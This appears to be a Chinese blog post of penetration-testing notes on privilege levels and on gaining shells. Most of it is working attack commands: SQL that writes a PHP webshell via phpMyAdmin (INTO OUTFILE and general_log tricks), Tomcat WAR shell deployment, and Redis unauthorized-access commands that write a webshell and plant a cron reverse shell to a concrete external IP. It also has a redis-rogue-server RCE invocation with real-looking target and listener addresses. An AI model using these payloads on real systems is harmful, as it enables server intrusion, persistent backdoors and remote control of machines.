权限划分
Linux
管理员UID为0:系统的管理员用户。
系统用户UID为1~999:Linux系统为了避免因某个服务程序出现漏洞而被黑客提权至整台服务器,默认服务程序会由独立的系统用户负责运行,进而有效控制被破坏范围。
普通用户UID从1000开始:是由管理员创建的用于日常工作的用户。
Windows
用户及组:system administrator user guest等
权限大小从左到右
linux的root等于windows的system
UID在1~999等于windows的adminstrator
UID在1000+ 普通用户权限
为什么要提升系统权限
phpstudy是本地集成软件他有和安装软件的管理员一样的权限
而远程的权限很小,所以要提升系统权限,才可以进行后续的域控权限提升
jsp 远程直接是root、system权限 因为这是java的特性 所以就不用再进行系统权限的提升
第三方应用-Phpmyadmin后台Getshell操作
phpmyadmin 用于操作数据库
找到phpmyadmin-->登录phpmyadmin-->用sql语句上传后门代码
低版本mysql
- mysql如果低于5.0可以直接用outfile写入:
SELECT "<?php @assert($_REQUEST["admin"]);?>" INTO OUTFILE
高版本mysql
secure防护利用日志记录保存后门
- 通过以下SQL语句可以查询secure_file_priv(secure-file-priv是全局变量,指定文件夹作为导出文件存放的地方,这个值是只读的)是否为null
show variables like '%secure%'
- 通过以下SQL语句可以查询到日志保存状态(ON代表开启 OFF代表关闭) & 日志的保存路径:
show variables like '%general%'
- 通过以下SQL语句修改general_log的值,开启日志保存
set global general_log='on';
- 通过以下SQL语句修改日志保存的路径(general_log_file值)
SET global general_log_file='<网站绝对路径>/shell.php'
- 再次执行以下SQL语句,查询是否成功更改
show variables like '%general%'
- 执行以下SQL语句,以下SQL语句将会被写入到日志文件(shell.php)中
SELECT '<?php @assert($_REQUEST["admin"]);?>';
- 最后通过url访问
系统后台Getshell操作
利用后台已有功能点进行获取:SQL执行,文件上传,模版修改,外部引用等
可以上传jsp、aspx等等webshell
也可以查后台的cms
Web容器中间件-Tomcat平台后台Getshell操作
上传WAR包自动解析部署-JSP压缩ZIP后修改WAR后缀
数据库服务类-Redis未授权管理终端Getshell操作
启动环境:/opt/redis-2.8.17# redis-server /etc/redis.conf
1.Webshell写入:
config set dir /home/wwwroot/default #设置WEB写入目录
config set dbfilename test.php #设置写入文件名
set test "<?php phpinfo();?>" #设置写入文件代码
bgsave #保存执行
save #保存执行
一条一条执行
计划任务反弹shell
config set dir /var/spool/cron/crontabs #设置写入计划任务目录
config set dbfilename root #设置写入文件名
set xx "\n\n\n* * * * * bash -i >& /dev/tcp/47.75.212.155/3333 0>&1\n\n\n" #设置写入文件代码
save #保存执行
Redis RCE反弹shell
https://github.com/n0b0dyCN/redis-rogue-server
python redis-rogue-server.py --rhost=47.94.236.117 --lhost=47.75.212.155 --exp=exp.so
标签:语句,set,写入,提升,SQL,日志,权限 From: https://www.cnblogs.com/Map1eaf/p/17171867.html